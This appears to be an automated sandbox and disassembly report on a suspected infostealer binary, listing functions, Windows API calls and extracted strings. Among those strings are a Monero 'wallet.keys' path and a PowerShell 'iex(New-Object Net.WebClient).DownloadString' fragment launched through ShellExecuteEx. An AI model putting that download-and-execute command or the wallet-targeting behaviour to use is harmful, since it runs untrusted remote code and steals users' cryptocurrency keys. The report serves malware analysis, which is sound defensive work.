Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :9$:9
API String ID: 1378416451-4108897303
Opcode ID: 3943233a66b01b6e75de5f958ebd01fc48ae45172291cf9d6ceac6b5de662fbb
Instruction ID: 452fd9cbc717bd64792a471d4d0a085ea2f1c856977c538733bc99e97081d0a1
Opcode Fuzzy Hash: 3943233a66b01b6e75de5f958ebd01fc48ae45172291cf9d6ceac6b5de662fbb
Instruction Fuzzy Hash: 06F03C79E40208FBDF10DFB4DC49F9E7BF9EB58710F118258B651A72C0E67096459B50

Function 003899C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003899EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00389A11
LocalAlloc.KERNEL32(00000040,?), ref: 00389A31
ReadFile.KERNEL32(000000FF,?,00000000,0038148F,00000000), ref: 00389A5A
LocalFree.KERNEL32(0038148F), ref: 00389A90
CloseHandle.KERNEL32(000000FF), ref: 00389A9A

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 251152cac92f4f1204448afad754a70a7fbe69006cd60e1841eef95597b80e19
Instruction ID: 00f62bc10d2f06762c1ce2811320b38808553349923b31f288be8432a9452333
Opcode Fuzzy Hash: 251152cac92f4f1204448afad754a70a7fbe69006cd60e1841eef95597b80e19
Instruction Fuzzy Hash: 803116B4A00309EFDB15DF94C885FAE7BB9FF48304F108199E911A7290D778AA45CFA1

Function 00392C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

ShellExecuteEx.SHELL32(0000003C), ref: 00392D85

Strings

<, xrefs: 00392D39
')", xrefs: 00392CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00392CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00392D04

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: e17f70629b6f4febc3789008b0e9eb9644165db486d0556991bdd3a4ae6b2afc
Instruction ID: 3d89e451b0134de5cba17644aebd4d6396d4cca1548951fe18068c7e3cbefaae
Opcode Fuzzy Hash: e17f70629b6f4febc3789008b0e9eb9644165db486d0556991bdd3a4ae6b2afc
Instruction Fuzzy Hash: D641BD71C106189ADF1AEBA0C892FEDBB78AF14300F404219E116AA191DF746A4ADFD6

Function 00389E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00389F41

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Strings

v20, xrefs: 00389E21
v10, xrefs: 00389EA3
@, xrefs: 00389EF1
ERROR_RUN_EXTRACTOR, xrefs: 00389E67

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 9b1100f8d190aaa00c936366a8070ccf5076f4d4650daf8685ab6acdc93fab45
Instruction ID: 4f8e1015c50e1f6caa2cbdd99b6d6820842cb242f98a49b5f021a04ff7be7f0d
Opcode Fuzzy Hash: 9b1100f8d190aaa00c936366a8070ccf5076f4d4650daf8685ab6acdc93fab45
Instruction Fuzzy Hash: 04612D71A10748DBDF25EFA4CC96BED7779AF45300F008118F90A5F591EB746A06CB92

Function 00397E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00397E37
RtlAllocateHeap.NTDLL(00000000), ref: 00397E3E
RegOpenKeyExA.ADVAPI32(80000002,00E2BFA0,00000000,00020119,?), ref: 00397E5E
RegQueryValueExA.ADVAPI32(?,00E3D9C0,00000000,00000000,000000FF,000000FF), ref: 00397E7F
RegCloseKey.ADVAPI32(?), ref: 00397E92

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: d4968b7530e54424e6999bafa8548eef040f1453c896672dd88b34ffd5d39349
Instruction ID: 78733bb401f4613260b543a5ff669a32013de9ad7076e20188d879113f4ef110
Opcode Fuzzy Hash: d4968b7530e54424e6999bafa8548eef040f1453c896672dd88b34ffd5d39349
Instruction Fuzzy Hash: DF118CB1A44609EFDB04CB95DD4AFBBBBBCFB04B04F104119F605A7280D77458049BA1

Function 00399260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00E3E188,?,?,?,0039140C,?,00E3E188,00000000), ref: 0039926C
lstrcpyn.KERNEL32(005CAB88,00E3E188,00E3E188,?,0039140C,?,00E3E188), ref: 00399290
lstrlen.KERNEL32(?,?,0039140C,?,00E3E188), ref: 003992A7
wsprintfA.USER32 ref: 003992C7

Strings

%s%s, xrefs: 003992B5

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: c0b38f44ade179499bf96e16e66e2c105aa0a22b8fd221d44008c373eb58d8d3
Instruction ID: ad1e8d353323ad1ad146f47ad606d3f36ffbee88219628bbf869166dbc264012
Opcode Fuzzy Hash: c0b38f44ade179499bf96e16e66e2c105aa0a22b8fd221d44008c373eb58d8d3
Instruction Fuzzy Hash: 86019E7550020CAFCB04DFE8C988EAE7BB9EB58358F148548F9099B204C635AA549B91

Function 003812A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003812B4
RtlAllocateHeap.NTDLL(00000000), ref: 003812BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 003812D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 003812F5
RegCloseKey.ADVAPI32(?), ref: 003812FF

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: bdbbd0f8790430e57e8f981b4ff9e92a0810127794de3b5be4fba790d75114c2
Instruction ID: 4ca217422f8899104f96c4f287e36d8c2bc56c00aba07c8c38476ef559920c89
Opcode Fuzzy Hash: bdbbd0f8790430e57e8f981b4ff9e92a0810127794de3b5be4fba790d75114c2
Instruction Fuzzy Hash: 24011DB9A4020CBFDB00DFE0DC49FAEBBB8EB48705F008159FA0597280D6709A059B91

Function 0039C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0039C8EC
___crtLCMapStringA.LIBCMT ref: 0039C90C
___crtLCMapStringA.LIBCMT ref: 0039C931

Strings

, xrefs: 0039C896

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 3945fd466480ec7cb73e87d6843cc7fa155c3a1c6f45a6288a7e0f3a237c18ab
Instruction ID: 6d640ad234e88d4f73e6e9de48596aa38aaec3c22f55d0abad989da78f72f567
Opcode Fuzzy Hash: 3945fd466480ec7cb73e87d6843cc7fa155c3a1c6f45a6288a7e0f3a237c18ab
Instruction Fuzzy Hash: F541F5B151079C5EDF238B248D95FFBBBECAB45704F1454E8E98A86182D3719A44CF60

Function 00396630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00396663

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

ShellExecuteEx.SHELL32(0000003C), ref: 00396726
ExitProcess.KERNEL32 ref: 00396755

Strings

<, xrefs: 003966D9

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 9f8a8cead0972a08c0e7e563685b8fd9f588e0784b7b717534e887cc33e8fc26
Instruction ID: d910416e87135a02df21188dea274fd6c4520ac9f441bf93b399fba75cf1a555
Opcode Fuzzy Hash: 9f8a8cead0972a08c0e7e563685b8fd9f588e0784b7b717534e887cc33e8fc26
Instruction Fuzzy Hash: 98312CB1801618ABDF15EB90DC96FDEBB78AF54300F404189F2096A191DF746B49CFAA

Function 003987C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,003A0E28,00000000,?), ref: 0039882F
RtlAllocateHeap.NTDLL(00000000), ref: 00398836
wsprintfA.USER32 ref: 00398850

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Strings

%dx%d, xrefs: 00398847

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 80f2d3dfe9bfd0abfb9f826924e3bb5212bb61981908b48d67e78cc070dd4ad7
Instruction ID: 6132db35c8259e01b110a38edf589d10516b125139312c7cb7f82438d3c5d01b
Opcode Fuzzy Hash: 80f2d3dfe9bfd0abfb9f826924e3bb5212bb61981908b48d67e78cc070dd4ad7
Instruction Fuzzy Hash: 17214CB1E40608AFDB04DFD8DD49FAEBBB8FB48B05F104119F605A7280C779A904DBA1

Function 00398D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0039951E,00000000), ref: 00398D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00398D62
wsprintfW.USER32 ref: 00398D78

Strings

%hs, xrefs: 00398D6F

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 1925e22a0a79c05c3fae585f3ccec872b38b473f53a345c642ae958e597cb56e
Instruction ID: d4ca25468d2c90a7e9750373d6ed5c2b3ea3f849062d1a79ee7a9a51fc39b50f
Opcode Fuzzy Hash: 1925e22a0a79c05c3fae585f3ccec872b38b473f53a345c642ae958e597cb56e
Instruction Fuzzy Hash: A6E08CB0A4020CBFE700DB94DC0AE697BBCEB0470AF000094FD0997280DA719E04AB96

Function 0038A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 00398B60: GetSystemTime.KERNEL32(003A0E1A,00E3A360,003A05AE,?,?,003813F9,?,0000001A,003A0E1A,00000000,?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 00398B86

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0038A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0038A3FF
lstrlen.KERNEL32(00000000), ref: 0038A6BC

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

DeleteFileA.KERNEL32(00000000), ref: 0038A743

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
